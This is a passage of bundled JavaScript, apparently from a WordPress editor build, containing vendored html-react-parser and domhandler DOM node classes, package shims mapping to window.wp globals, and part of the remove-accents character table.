          var node = nodes[index];
          if (hasReplace) {
            var replaceElement = options2.replace(node, index);
            if (isValidElement(replaceElement)) {
              if (nodesLength > 1) {
                replaceElement = cloneElement2(replaceElement, {
                  key: replaceElement.key || index
                });
              }
              reactElements.push(transform(replaceElement, node, index));
              continue;
            }
          }
          if (node.type === "text") {
            var isWhitespace = !node.data.trim().length;
            if (isWhitespace && node.parent && !(0, utilities_1.canTextBeChildOfNode)(node.parent)) {
              continue;
            }
            if (options2.trim && isWhitespace) {
              continue;
            }
            reactElements.push(transform(node.data, node, index));
            continue;
          }
          var element = node;
          var props = {};
          if (skipAttributesToProps(element)) {
            (0, utilities_1.setStyleProp)(element.attribs.style, element.attribs);
            props = element.attribs;
          } else if (element.attribs) {
            props = (0, attributes_to_props_1.default)(element.attribs, element.name);
          }
          var children = void 0;
          switch (node.type) {
            case "script":
            case "style":
              if (node.children[0]) {
                props.dangerouslySetInnerHTML = {
                  __html: node.children[0].data
                };
              }
              break;
            case "tag":
              if (node.name === "textarea" && node.children[0]) {
                props.defaultValue = node.children[0].data;
              } else if (node.children && node.children.length) {
                children = domToReact2(node.children, options2);
              }
              break;
            // skip all other cases (e.g., comment)
            default:
              continue;
          }
          if (nodesLength > 1) {
            props.key = index;
          }
          reactElements.push(transform(createElement2(node.name, props, children), node, index));
        }
        return reactElements.length === 1 ? reactElements[0] : reactElements;
      }
      function skipAttributesToProps(node) {
        return utilities_1.PRESERVE_CUSTOM_ATTRIBUTES && node.type === "tag" && (0, utilities_1.isCustomComponent)(node.name, node.attribs);
      }
    }
  });

  // node_modules/html-react-parser/node_modules/domelementtype/lib/index.js
  var require_lib4 = __commonJS({
    "node_modules/html-react-parser/node_modules/domelementtype/lib/index.js"(exports) {
      "use strict";
      Object.defineProperty(exports, "__esModule", { value: true });
      exports.Doctype = exports.CDATA = exports.Tag = exports.Style = exports.Script = exports.Comment = exports.Directive = exports.Text = exports.Root = exports.isTag = exports.ElementType = void 0;
      var ElementType;
      (function(ElementType2) {
        ElementType2["Root"] = "root";
        ElementType2["Text"] = "text";
        ElementType2["Directive"] = "directive";
        ElementType2["Comment"] = "comment";
        ElementType2["Script"] = "script";
        ElementType2["Style"] = "style";
        ElementType2["Tag"] = "tag";
        ElementType2["CDATA"] = "cdata";
        ElementType2["Doctype"] = "doctype";
      })(ElementType = exports.ElementType || (exports.ElementType = {}));
      function isTag(elem) {
        return elem.type === ElementType.Tag || elem.type === ElementType.Script || elem.type === ElementType.Style;
      }
      exports.isTag = isTag;
      exports.Root = ElementType.Root;
      exports.Text = ElementType.Text;
      exports.Directive = ElementType.Directive;
      exports.Comment = ElementType.Comment;
      exports.Script = ElementType.Script;
      exports.Style = ElementType.Style;
      exports.Tag = ElementType.Tag;
      exports.CDATA = ElementType.CDATA;
      exports.Doctype = ElementType.Doctype;
    }
  });

  // node_modules/html-react-parser/node_modules/domhandler/lib/node.js
  var require_node2 = __commonJS({
    "node_modules/html-react-parser/node_modules/domhandler/lib/node.js"(exports) {
      "use strict";
      var __extends = exports && exports.__extends || /* @__PURE__ */ (function() {
        var extendStatics = function(d2, b2) {
          extendStatics = Object.setPrototypeOf || { __proto__: [] } instanceof Array && function(d3, b3) {
            d3.__proto__ = b3;
          } || function(d3, b3) {
            for (var p2 in b3) if (Object.prototype.hasOwnProperty.call(b3, p2)) d3[p2] = b3[p2];
          };
          return extendStatics(d2, b2);
        };
        return function(d2, b2) {
          if (typeof b2 !== "function" && b2 !== null)
            throw new TypeError("Class extends value " + String(b2) + " is not a constructor or null");
          extendStatics(d2, b2);
          function __268() {
            this.constructor = d2;
          }
          d2.prototype = b2 === null ? Object.create(b2) : (__268.prototype = b2.prototype, new __268());
        };
      })();
      var __assign2 = exports && exports.__assign || function() {
        __assign2 = Object.assign || function(t2) {
          for (var s2, i2 = 1, n2 = arguments.length; i2 < n2; i2++) {
            s2 = arguments[i2];
            for (var p2 in s2) if (Object.prototype.hasOwnProperty.call(s2, p2))
              t2[p2] = s2[p2];
          }
          return t2;
        };
        return __assign2.apply(this, arguments);
      };
      Object.defineProperty(exports, "__esModule", { value: true });
      exports.cloneNode = exports.hasChildren = exports.isDocument = exports.isDirective = exports.isComment = exports.isText = exports.isCDATA = exports.isTag = exports.Element = exports.Document = exports.CDATA = exports.NodeWithChildren = exports.ProcessingInstruction = exports.Comment = exports.Text = exports.DataNode = exports.Node = void 0;
      var domelementtype_1 = require_lib4();
      var Node = (
        /** @class */
        (function() {
          function Node2() {
            this.parent = null;
            this.prev = null;
            this.next = null;
            this.startIndex = null;
            this.endIndex = null;
          }
          Object.defineProperty(Node2.prototype, "parentNode", {
            // Read-write aliases for properties
            /**
             * Same as {@link parent}.
             * [DOM spec](https://dom.spec.whatwg.org)-compatible alias.
             */
            get: function() {
              return this.parent;
            },
            set: function(parent) {
              this.parent = parent;
            },
            enumerable: false,
            configurable: true
          });
          Object.defineProperty(Node2.prototype, "previousSibling", {
            /**
             * Same as {@link prev}.
             * [DOM spec](https://dom.spec.whatwg.org)-compatible alias.
             */
            get: function() {
              return this.prev;
            },
            set: function(prev) {
              this.prev = prev;
            },
            enumerable: false,
            configurable: true
          });
          Object.defineProperty(Node2.prototype, "nextSibling", {
            /**
             * Same as {@link next}.
             * [DOM spec](https://dom.spec.whatwg.org)-compatible alias.
             */
            get: function() {
              return this.next;
            },
            set: function(next) {
              this.next = next;
            },
            enumerable: false,
            configurable: true
          });
          Node2.prototype.cloneNode = function(recursive) {
            if (recursive === void 0) {
              recursive = false;
            }
            return cloneNode(this, recursive);
          };
          return Node2;
        })()
      );
      exports.Node = Node;
      var DataNode = (
        /** @class */
        (function(_super) {
          __extends(DataNode2, _super);
          function DataNode2(data) {
            var _this = _super.call(this) || this;
            _this.data = data;
            return _this;
          }
          Object.defineProperty(DataNode2.prototype, "nodeValue", {
            /**
             * Same as {@link data}.
             * [DOM spec](https://dom.spec.whatwg.org)-compatible alias.
             */
            get: function() {
              return this.data;
            },
            set: function(data) {
              this.data = data;
            },
            enumerable: false,
            configurable: true
          });
          return DataNode2;
        })(Node)
      );
      exports.DataNode = DataNode;
      var Text4 = (
        /** @class */
        (function(_super) {
          __extends(Text5, _super);
          function Text5() {
            var _this = _super !== null && _super.apply(this, arguments) || this;
            _this.type = domelementtype_1.ElementType.Text;
            return _this;
          }
          Object.defineProperty(Text5.prototype, "nodeType", {
            get: function() {
              return 3;
            },
            enumerable: false,
            configurable: true
          });
          return Text5;
        })(DataNode)
      );
      exports.Text = Text4;
      var Comment2 = (
        /** @class */
        (function(_super) {
          __extends(Comment3, _super);
          function Comment3() {
            var _this = _super !== null && _super.apply(this, arguments) || this;
            _this.type = domelementtype_1.ElementType.Comment;
            return _this;
          }
          Object.defineProperty(Comment3.prototype, "nodeType", {
            get: function() {
              return 8;
            },
            enumerable: false,
            configurable: true
          });
          return Comment3;
        })(DataNode)
      );
      exports.Comment = Comment2;
      var ProcessingInstruction2 = (
        /** @class */
        (function(_super) {
          __extends(ProcessingInstruction3, _super);
          function ProcessingInstruction3(name123, data) {
            var _this = _super.call(this, data) || this;
            _this.name = name123;
            _this.type = domelementtype_1.ElementType.Directive;
            return _this;
          }
          Object.defineProperty(ProcessingInstruction3.prototype, "nodeType", {
            get: function() {
              return 1;
            },
            enumerable: false,
            configurable: true
          });
          return ProcessingInstruction3;
        })(DataNode)
      );
      exports.ProcessingInstruction = ProcessingInstruction2;
      var NodeWithChildren = (
        /** @class */
        (function(_super) {
          __extends(NodeWithChildren2, _super);
          function NodeWithChildren2(children) {
            var _this = _super.call(this) || this;
            _this.children = children;
            return _this;
          }
          Object.defineProperty(NodeWithChildren2.prototype, "firstChild", {
            // Aliases
            /** First child of the node. */
            get: function() {
              var _a;
              return (_a = this.children[0]) !== null && _a !== void 0 ? _a : null;
            },
            enumerable: false,
            configurable: true
          });
          Object.defineProperty(NodeWithChildren2.prototype, "lastChild", {
            /** Last child of the node. */
            get: function() {
              return this.children.length > 0 ? this.children[this.children.length - 1] : null;
            },
            enumerable: false,
            configurable: true
          });
          Object.defineProperty(NodeWithChildren2.prototype, "childNodes", {
            /**
             * Same as {@link children}.
             * [DOM spec](https://dom.spec.whatwg.org)-compatible alias.
             */
            get: function() {
              return this.children;
            },
            set: function(children) {
              this.children = children;
            },
            enumerable: false,
            configurable: true
          });
          return NodeWithChildren2;
        })(Node)
      );
      exports.NodeWithChildren = NodeWithChildren;
      var CDATA = (
        /** @class */
        (function(_super) {
          __extends(CDATA2, _super);
          function CDATA2() {
            var _this = _super !== null && _super.apply(this, arguments) || this;
            _this.type = domelementtype_1.ElementType.CDATA;
            return _this;
          }
          Object.defineProperty(CDATA2.prototype, "nodeType", {
            get: function() {
              return 4;
            },
            enumerable: false,
            configurable: true
          });
          return CDATA2;
        })(NodeWithChildren)
      );
      exports.CDATA = CDATA;
      var Document = (
        /** @class */
        (function(_super) {
          __extends(Document2, _super);
          function Document2() {
            var _this = _super !== null && _super.apply(this, arguments) || this;
            _this.type = domelementtype_1.ElementType.Root;
            return _this;
          }
          Object.defineProperty(Document2.prototype, "nodeType", {
            get: function() {
              return 9;
            },
            enumerable: false,
            configurable: true
          });
          return Document2;
        })(NodeWithChildren)
      );
      exports.Document = Document;
      var Element2 = (
        /** @class */
        (function(_super) {
          __extends(Element3, _super);
          function Element3(name123, attribs, children, type) {
            if (children === void 0) {
              children = [];
            }
            if (type === void 0) {
              type = name123 === "script" ? domelementtype_1.ElementType.Script : name123 === "style" ? domelementtype_1.ElementType.Style : domelementtype_1.ElementType.Tag;
            }
            var _this = _super.call(this, children) || this;
            _this.name = name123;
            _this.attribs = attribs;
            _this.type = type;
            return _this;
          }
          Object.defineProperty(Element3.prototype, "nodeType", {
            get: function() {
              return 1;
            },
            enumerable: false,
            configurable: true
          });
          Object.defineProperty(Element3.prototype, "tagName", {
            // DOM Level 1 aliases
            /**
             * Same as {@link name}.
             * [DOM spec](https://dom.spec.whatwg.org)-compatible alias.
             */
            get: function() {
              return this.name;
            },
            set: function(name123) {
              this.name = name123;
            },
            enumerable: false,
            configurable: true
          });
          Object.defineProperty(Element3.prototype, "attributes", {
            get: function() {
              var _this = this;
              return Object.keys(this.attribs).map(function(name123) {
                var _a, _b;
                return {
                  name: name123,
                  value: _this.attribs[name123],
                  namespace: (_a = _this["x-attribsNamespace"]) === null || _a === void 0 ? void 0 : _a[name123],
                  prefix: (_b = _this["x-attribsPrefix"]) === null || _b === void 0 ? void 0 : _b[name123]
                };
              });
            },
            enumerable: false,
            configurable: true
          });
          return Element3;
        })(NodeWithChildren)
      );
      exports.Element = Element2;
      function isTag(node) {
        return (0, domelementtype_1.isTag)(node);
      }
      exports.isTag = isTag;
      function isCDATA(node) {
        return node.type === domelementtype_1.ElementType.CDATA;
      }
      exports.isCDATA = isCDATA;
      function isText(node) {
        return node.type === domelementtype_1.ElementType.Text;
      }
      exports.isText = isText;
      function isComment(node) {
        return node.type === domelementtype_1.ElementType.Comment;
      }
      exports.isComment = isComment;
      function isDirective(node) {
        return node.type === domelementtype_1.ElementType.Directive;
      }
      exports.isDirective = isDirective;
      function isDocument(node) {
        return node.type === domelementtype_1.ElementType.Root;
      }
      exports.isDocument = isDocument;
      function hasChildren(node) {
        return Object.prototype.hasOwnProperty.call(node, "children");
      }
      exports.hasChildren = hasChildren;
      function cloneNode(node, recursive) {
        if (recursive === void 0) {
          recursive = false;
        }
        var result;
        if (isText(node)) {
          result = new Text4(node.data);
        } else if (isComment(node)) {
          result = new Comment2(node.data);
        } else if (isTag(node)) {
          var children = recursive ? cloneChildren(node.children) : [];
          var clone_1 = new Element2(node.name, __assign2({}, node.attribs), children);
          children.forEach(function(child) {
            return child.parent = clone_1;
          });
          if (node.namespace != null) {
            clone_1.namespace = node.namespace;
          }
          if (node["x-attribsNamespace"]) {
            clone_1["x-attribsNamespace"] = __assign2({}, node["x-attribsNamespace"]);
          }
          if (node["x-attribsPrefix"]) {
            clone_1["x-attribsPrefix"] = __assign2({}, node["x-attribsPrefix"]);
          }
          result = clone_1;
        } else if (isCDATA(node)) {
          var children = recursive ? cloneChildren(node.children) : [];
          var clone_2 = new CDATA(children);
          children.forEach(function(child) {
            return child.parent = clone_2;
          });
          result = clone_2;
        } else if (isDocument(node)) {
          var children = recursive ? cloneChildren(node.children) : [];
          var clone_3 = new Document(children);
          children.forEach(function(child) {
            return child.parent = clone_3;
          });
          if (node["x-mode"]) {
            clone_3["x-mode"] = node["x-mode"];
          }
          result = clone_3;
        } else if (isDirective(node)) {
          var instruction = new ProcessingInstruction2(node.name, node.data);
          if (node["x-name"] != null) {
            instruction["x-name"] = node["x-name"];
            instruction["x-publicId"] = node["x-publicId"];
            instruction["x-systemId"] = node["x-systemId"];
          }
          result = instruction;
        } else {
          throw new Error("Not implemented yet: ".concat(node.type));
        }
        result.startIndex = node.startIndex;
        result.endIndex = node.endIndex;
        if (node.sourceCodeLocation != null) {
          result.sourceCodeLocation = node.sourceCodeLocation;
        }
        return result;
      }
      exports.cloneNode = cloneNode;
      function cloneChildren(childs) {
        var children = childs.map(function(child) {
          return cloneNode(child, true);
        });
        for (var i2 = 1; i2 < children.length; i2++) {
          children[i2].prev = children[i2 - 1];
          children[i2 - 1].next = children[i2];
        }
        return children;
      }
    }
  });

  // node_modules/html-react-parser/node_modules/domhandler/lib/index.js
  var require_lib5 = __commonJS({
    "node_modules/html-react-parser/node_modules/domhandler/lib/index.js"(exports) {
      "use strict";
      var __createBinding = exports && exports.__createBinding || (Object.create ? (function(o2, m2, k2, k22) {
        if (k22 === void 0) k22 = k2;
        var desc = Object.getOwnPropertyDescriptor(m2, k2);
        if (!desc || ("get" in desc ? !m2.__esModule : desc.writable || desc.configurable)) {
          desc = { enumerable: true, get: function() {
            return m2[k2];
          } };
        }
        Object.defineProperty(o2, k22, desc);
      }) : (function(o2, m2, k2, k22) {
        if (k22 === void 0) k22 = k2;
        o2[k22] = m2[k2];
      }));
      var __exportStar = exports && exports.__exportStar || function(m2, exports2) {
        for (var p2 in m2) if (p2 !== "default" && !Object.prototype.hasOwnProperty.call(exports2, p2)) __createBinding(exports2, m2, p2);
      };
      Object.defineProperty(exports, "__esModule", { value: true });
      exports.DomHandler = void 0;
      var domelementtype_1 = require_lib4();
      var node_js_1 = require_node2();
      __exportStar(require_node2(), exports);
      var defaultOpts = {
        withStartIndices: false,
        withEndIndices: false,
        xmlMode: false
      };
      var DomHandler = (
        /** @class */
        (function() {
          function DomHandler2(callback, options2, elementCB) {
            this.dom = [];
            this.root = new node_js_1.Document(this.dom);
            this.done = false;
            this.tagStack = [this.root];
            this.lastNode = null;
            this.parser = null;
            if (typeof options2 === "function") {
              elementCB = options2;
              options2 = defaultOpts;
            }
            if (typeof callback === "object") {
              options2 = callback;
              callback = void 0;
            }
            this.callback = callback !== null && callback !== void 0 ? callback : null;
            this.options = options2 !== null && options2 !== void 0 ? options2 : defaultOpts;
            this.elementCB = elementCB !== null && elementCB !== void 0 ? elementCB : null;
          }
          DomHandler2.prototype.onparserinit = function(parser) {
            this.parser = parser;
          };
          DomHandler2.prototype.onreset = function() {
            this.dom = [];
            this.root = new node_js_1.Document(this.dom);
            this.done = false;
            this.tagStack = [this.root];
            this.lastNode = null;
            this.parser = null;
          };
          DomHandler2.prototype.onend = function() {
            if (this.done)
              return;
            this.done = true;
            this.parser = null;
            this.handleCallback(null);
          };
          DomHandler2.prototype.onerror = function(error) {
            this.handleCallback(error);
          };
          DomHandler2.prototype.onclosetag = function() {
            this.lastNode = null;
            var elem = this.tagStack.pop();
            if (this.options.withEndIndices) {
              elem.endIndex = this.parser.endIndex;
            }
            if (this.elementCB)
              this.elementCB(elem);
          };
          DomHandler2.prototype.onopentag = function(name123, attribs) {
            var type = this.options.xmlMode ? domelementtype_1.ElementType.Tag : void 0;
            var element = new node_js_1.Element(name123, attribs, void 0, type);
            this.addNode(element);
            this.tagStack.push(element);
          };
          DomHandler2.prototype.ontext = function(data) {
            var lastNode = this.lastNode;
            if (lastNode && lastNode.type === domelementtype_1.ElementType.Text) {
              lastNode.data += data;
              if (this.options.withEndIndices) {
                lastNode.endIndex = this.parser.endIndex;
              }
            } else {
              var node = new node_js_1.Text(data);
              this.addNode(node);
              this.lastNode = node;
            }
          };
          DomHandler2.prototype.oncomment = function(data) {
            if (this.lastNode && this.lastNode.type === domelementtype_1.ElementType.Comment) {
              this.lastNode.data += data;
              return;
            }
            var node = new node_js_1.Comment(data);
            this.addNode(node);
            this.lastNode = node;
          };
          DomHandler2.prototype.oncommentend = function() {
            this.lastNode = null;
          };
          DomHandler2.prototype.oncdatastart = function() {
            var text = new node_js_1.Text("");
            var node = new node_js_1.CDATA([text]);
            this.addNode(node);
            text.parent = node;
            this.lastNode = text;
          };
          DomHandler2.prototype.oncdataend = function() {
            this.lastNode = null;
          };
          DomHandler2.prototype.onprocessinginstruction = function(name123, data) {
            var node = new node_js_1.ProcessingInstruction(name123, data);
            this.addNode(node);
          };
          DomHandler2.prototype.handleCallback = function(error) {
            if (typeof this.callback === "function") {
              this.callback(error, this.dom);
            } else if (error) {
              throw error;
            }
          };
          DomHandler2.prototype.addNode = function(node) {
            var parent = this.tagStack[this.tagStack.length - 1];
            var previousSibling = parent.children[parent.children.length - 1];
            if (this.options.withStartIndices) {
              node.startIndex = this.parser.startIndex;
            }
            if (this.options.withEndIndices) {
              node.endIndex = this.parser.endIndex;
            }
            parent.children.push(node);
            if (previousSibling) {
              node.prev = previousSibling;
              previousSibling.next = node;
            }
            node.parent = parent;
            this.lastNode = null;
          };
          return DomHandler2;
        })()
      );
      exports.DomHandler = DomHandler;
      exports.default = DomHandler;
    }
  });

  // node_modules/html-react-parser/lib/index.js
  var require_lib6 = __commonJS({
    "node_modules/html-react-parser/lib/index.js"(exports) {
      "use strict";
      var __importDefault = exports && exports.__importDefault || function(mod) {
        return mod && mod.__esModule ? mod : { "default": mod };
      };
      Object.defineProperty(exports, "__esModule", { value: true });
      exports.htmlToDOM = exports.domToReact = exports.attributesToProps = exports.Text = exports.ProcessingInstruction = exports.Element = exports.Comment = void 0;
      exports.default = HTMLReactParser2;
      var html_dom_parser_1 = __importDefault(require_html_to_dom());
      exports.htmlToDOM = html_dom_parser_1.default;
      var attributes_to_props_1 = __importDefault(require_attributes_to_props());
      exports.attributesToProps = attributes_to_props_1.default;
      var dom_to_react_1 = __importDefault(require_dom_to_react());
      exports.domToReact = dom_to_react_1.default;
      var domhandler_1 = require_lib5();
      Object.defineProperty(exports, "Comment", { enumerable: true, get: function() {
        return domhandler_1.Comment;
      } });
      Object.defineProperty(exports, "Element", { enumerable: true, get: function() {
        return domhandler_1.Element;
      } });
      Object.defineProperty(exports, "ProcessingInstruction", { enumerable: true, get: function() {
        return domhandler_1.ProcessingInstruction;
      } });
      Object.defineProperty(exports, "Text", { enumerable: true, get: function() {
        return domhandler_1.Text;
      } });
      var domParserOptions = { lowerCaseAttributeNames: false };
      function HTMLReactParser2(html, options2) {
        if (typeof html !== "string") {
          throw new TypeError("First argument must be a string");
        }
        if (!html) {
          return [];
        }
        return (0, dom_to_react_1.default)((0, html_dom_parser_1.default)(html, (options2 === null || options2 === void 0 ? void 0 : options2.htmlparser2) || domParserOptions), options2);
      }
    }
  });

  // package-external:@wordpress/dom
  var require_dom = __commonJS({
    "package-external:@wordpress/dom"(exports, module) {
      module.exports = window.wp.dom;
    }
  });

  // vendor-external:react/jsx-runtime
  var require_jsx_runtime = __commonJS({
    "vendor-external:react/jsx-runtime"(exports, module) {
      module.exports = window.ReactJSXRuntime;
    }
  });

  // package-external:@wordpress/element
  var require_element = __commonJS({
    "package-external:@wordpress/element"(exports, module) {
      module.exports = window.wp.element;
    }
  });

  // package-external:@wordpress/primitives
  var require_primitives = __commonJS({
    "package-external:@wordpress/primitives"(exports, module) {
      module.exports = window.wp.primitives;
    }
  });

  // package-external:@wordpress/components
  var require_components = __commonJS({
    "package-external:@wordpress/components"(exports, module) {
      module.exports = window.wp.components;
    }
  });

  // package-external:@wordpress/blob
  var require_blob = __commonJS({
    "package-external:@wordpress/blob"(exports, module) {
      module.exports = window.wp.blob;
    }
  });

  // package-external:@wordpress/core-data
  var require_core_data = __commonJS({
    "package-external:@wordpress/core-data"(exports, module) {
      module.exports = window.wp.coreData;
    }
  });

  // package-external:@wordpress/url
  var require_url = __commonJS({
    "package-external:@wordpress/url"(exports, module) {
      module.exports = window.wp.url;
    }
  });

  // package-external:@wordpress/html-entities
  var require_html_entities = __commonJS({
    "package-external:@wordpress/html-entities"(exports, module) {
      module.exports = window.wp.htmlEntities;
    }
  });

  // package-external:@wordpress/notices
  var require_notices = __commonJS({
    "package-external:@wordpress/notices"(exports, module) {
      module.exports = window.wp.notices;
    }
  });

  // package-external:@wordpress/private-apis
  var require_private_apis = __commonJS({
    "package-external:@wordpress/private-apis"(exports, module) {
      module.exports = window.wp.privateApis;
    }
  });

  // package-external:@wordpress/keycodes
  var require_keycodes = __commonJS({
    "package-external:@wordpress/keycodes"(exports, module) {
      module.exports = window.wp.keycodes;
    }
  });

  // package-external:@wordpress/deprecated
  var require_deprecated = __commonJS({
    "package-external:@wordpress/deprecated"(exports, module) {
      module.exports = window.wp.deprecated;
    }
  });

  // package-external:@wordpress/rich-text
  var require_rich_text = __commonJS({
    "package-external:@wordpress/rich-text"(exports, module) {
      module.exports = window.wp.richText;
    }
  });

  // package-external:@wordpress/date
  var require_date = __commonJS({
    "package-external:@wordpress/date"(exports, module) {
      module.exports = window.wp.date;
    }
  });

  // package-external:@wordpress/api-fetch
  var require_api_fetch = __commonJS({
    "package-external:@wordpress/api-fetch"(exports, module) {
      module.exports = window.wp.apiFetch;
    }
  });

  // package-external:@wordpress/hooks
  var require_hooks = __commonJS({
    "package-external:@wordpress/hooks"(exports, module) {
      module.exports = window.wp.hooks;
    }
  });

  // node_modules/remove-accents/index.js
  var require_remove_accents = __commonJS({
    "node_modules/remove-accents/index.js"(exports, module) {
      var characterMap = {
        "\xC0": "A",
        "\xC1": "A",
        "\xC2": "A",
        "\xC3": "A",
        "\xC4": "A",
        "\xC5": "A",
        "\u1EA4": "A",
        "\u1EAE": "A",
        "\u1EB2": "A",
        "\u1EB4": "A",
        "\u1EB6": "A",
        "\xC6": "AE",
        "\u1EA6": "A",
        "\u1EB0": "A",
        "\u0202": "A",
        "\u1EA2": "A",
        "\u1EA0": "A",
        "\u1EA8": "A",
        "\u1EAA": "A",
        "\u1EAC": "A",
        "\xC7": "C",
        "\u1E08": "C",
        "\xC8": "E",
        "\xC9": "E",
        "\xCA": "E",
        "\xCB": "E",
        "\u1EBE": "E",
        "\u1E16": "E",
        "\u1EC0": "E",
        "\u1E14": "E",
        "\u1E1C": "E",
        "\u0206": "E",
        "\u1EBA": "E",
        "\u1EBC": "E",
        "\u1EB8": "E",
        "\u1EC2": "E",
        "\u1EC4": "E",
        "\u1EC6": "E",
        "\xCC": "I",
        "\xCD": "I",
        "\xCE": "I",
        "\xCF": "I",
        "\u1E2E": "I",
        "\u020A": "I",
        "\u1EC8": "I",
        "\u1ECA": "I",
        "\xD0": "D",
        "\xD1": "N",
        "\xD2": "O",
        "\xD3": "O",
        "\xD4": "O",
        "\xD5": "O",
        "\xD6": "O",
        "\xD8": "O",
        "\u1ED0": "O",
        "\u1E4C": "O",
        "\u1E52": "O",
        "\u020E": "O",
        "\u1ECE": "O",
        "\u1ECC": "O",
        "\u1ED4": "O",
        "\u1ED6": "O",
        "\u1ED8": "O",
        "\u1EDC": "O",
        "\u1EDE": "O",
        "\u1EE0": "O",
        "\u1EDA": "O",
        "\u1EE2": "O",
        "\xD9": "U",
        "\xDA": "U",
        "\xDB": "U",
        "\xDC": "U",
        "\u1EE6": "U",
        "\u1EE4": "U",
        "\u1EEC": "U",
        "\u1EEE": "U",
        "\u1EF0": "U",
        "\xDD": "Y",
        "\xE0": "a",
        "\xE1": "a",
        "\xE2": "a",
        "\xE3": "a",
        "\xE4": "a",
        "\xE5": "a",
        "\u1EA5": "a",
        "\u1EAF": "a",
        "\u1EB3": "a",
        "\u1EB5": "a",
        "\u1EB7": "a",
        "\xE6": "ae",
        "\u1EA7": "a",
        "\u1EB1": "a",
        "\u0203": "a",
        "\u1EA3": "a",
        "\u1EA1": "a",
        "\u1EA9": "a",
        "\u1EAB": "a",
        "\u1EAD": "a",
        "\xE7": "c",
        "\u1E09": "c",
        "\xE8": "e",
        "\xE9": "e",
        "\xEA": "e",
        "\xEB": "e",
        "\u1EBF": "e",
        "\u1E17": "e",
        "\u1EC1": "e",
        "\u1E15": "e",
        "\u1E1D": "e",
        "\u0207": "e",
        "\u1EBB": "e",
        "\u1EBD": "e",
        "\u1EB9": "e",
        "\u1EC3": "e",
        "\u1EC5": "e",
        "\u1EC7": "e",
        "\xEC": "i",
        "\xED": "i",
        "\xEE": "i",
        "\xEF": "i",
        "\u1E2F": "i",
        "\u020B": "i",
        "\u1EC9": "i",
        "\u1ECB": "i",
        "\xF0": "d",
        "\xF1": "n",
        "\xF2": "o",
        "\xF3": "o",
        "\xF4": "o",
        "\xF5": "o",
        "\xF6": "o",
        "\xF8": "o",
        "\u1ED1": "o",
        "\u1E4D": "o",
        "\u1E53": "o",
        "\u020F": "o",
        "\u1ECF": "o",
        "\u1ECD": "o",
        "\u1ED5": "o",
        "\u1ED7": "o",
        "\u1ED9": "o",
        "\u1EDD": "o",
        "\u1EDF": "o",
        "\u1EE1": "o",
        "\u1EDB": "o",
        "\u1EE3": "o",
        "\xF9": "u",
        "\xFA": "u",
        "\xFB": "u",
        "\xFC": "u",
        "\u1EE7": "u",
        "\u1EE5": "u",
        "\u1EED": "u",
        "\u1EEF": "u",
        "\u1EF1": "u",
        "\xFD": "y",
        "\xFF": "y",
        "\u0100": "A",
        "\u0101": "a",
        "\u0102": "A",
        "\u0103": "a",
        "\u0104": "A",
        "\u0105": "a",
        "\u0106": "C",
        "\u0107": "c",
        "\u0108": "C",
        "\u0109": "c",
        "\u010A": "C",
        "\u010B": "c",
        "\u010C": "C",
        "\u010D": "c",
        "C\u0306": "C",
        "c\u0306": "c",
        "\u010E": "D",
        "\u010F": "d",
        "\u0110": "D",
        "\u0111": "d",
        "\u0112": "E",
        "\u0113": "e",
        "\u0114": "E",
        "\u0115": "e",
        "\u0116": "E",
        "\u0117": "e",
        "\u0118": "E",
        "\u0119": "e",
        "\u011A": "E",
        "\u011B": "e",
        "\u011C": "G",
        "\u01F4": "G",
        "\u011D": "g",
        "\u01F5": "g",
        "\u011E": "G",
        "\u011F": "g",
        "\u0120": "G",
        "\u0121": "g",
        "\u0122": "G",
        "\u0123": "g",
        "\u0124": "H",
        "\u0125": "h",
        "\u0126": "H",
        "\u0127": "h",
        "\u1E2A": "H",
        "\u1E2B": "h",
        "\u0128": "I",
        "\u0129": "i",
        "\u012A": "I",
        "\u012B": "i",
        "\u012C": "I",
        "\u012D": "i",
        "\u012E": "I",
        "\u012F": "i",
        "\u0130": "I",
        "\u0131": "i",
        "\u0132": "IJ",
        "\u0133": "ij",
        "\u0134": "J",
        "\u0135": "j",
        "\u0136": "K",
        "\u0137": "k",
        "\u1E30": "K",
        "\u1E31": "k",
        "K\u0306": "K",
        "k\u0306": "k",
        "\u0139": "L",
        "\u013A": "l",
        "\u013B": "L",
        "\u013C": "l",
        "\u013D": "L",
        "\u013E": "l",
        "\u013F": "L",
        "\u0140": "l",
        "\u0141": "l",
        "\u0142": "l",
        "\u1E3E": "M",
        "\u1E3F": "m",
        "M\u0306": "M",
        "m\u0306": "m",
        "\u0143": "N",
        "\u0144": "n",
        "\u0145": "N",
        "\u0146": "n",
        "\u0147": "N",
        "\u0148": "n",
        "\u0149": "n",
        "N\u0306": "N",
        "n\u0306": "n",
        "\u014C": "O",
        "\u014D": "o",
        "\u014E": "O",
        "\u014F": "o",
        "\u0150": "O",
        "\u0151": "o",
        "\u0152": "OE",
        "\u0153": "oe",
        "P\u0306": "P",
        "p\u0306": "p",
        "\u0154": "R",
        "\u0155": "r",
        "\u0156": "R",
        "\u0157": "r",
        "\u0158": "R",
        "\u0159": "r",
        "R\u0306": "R",
        "r\u0306": "r",
        "\u0212": "R",
        "\u0213": "r",
        "\u015A": "S",
        "\u015B": "s",
        "\u015C": "S",
        "\u015D": "s",
        "\u015E": "S",
        "\u0218": "S",
        "\u0219": "s",
        "\u015F": "s",
        "\u0160": "S",
        "\u0161": "s",
        "\u0162": "T",
        "\u0163": "t",
        "\u021B": "t",
        "\u021A": "T",
        "\u0164": "T",
        "\u0165": "t",
        "\u0166": "T",
        "\u0167": "t",
        "T\u0306": "T",
        "t\u0306": "t",
        "\u0168": "U",
        "\u0169": "u",
        "\u016A": "U",
        "\u016B": "u",
        "\u016C": "U",
        "\u016D": "u",
        "\u016E": "U",
        "\u016F": "u",
        "\u0170": "U",
        "\u0171": "u",
        "\u0172": "U",
        "\u0173": "u",
        "\u0216": "U",
        "\u0217": "u",
        "V\u0306": "V",
        "v\u0306": "v",
        "\u0174": "W",
        "\u0175": "w",
        "\u1E82": "W",
        "\u1E83": "w",
        "X\u0306": "X",
        "x\u0306": "x",
        "\u0176": "Y",
        "\u0177": "y",
        "\u0178": "Y",
        "Y\u0306": "Y",
        "y\u0306": "y",
        "\u0179": "Z",
        "\u017A": "z",
        "\u017B": "Z",
        "\u017C": "z",
        "\u017D": "Z",
        "\u017E": "z",
        "\u017F": "s",
        "\u0192": "f",
        "\u01A0": "O",
        "\u01A1": "o",
        "\u01AF": "U",
        "\u01B0": "u",
        "\u01CD": "A",
        "\u01CE": "a",
        "\u01CF": "I",
        "\u01D0": "i",
        "\u01D1": "O",
        "\u01D2": "o",
        "\u01D3": "U",
        "\u01D4": "u",
        "\u01D5": "U",
        "\u01D6": "u",
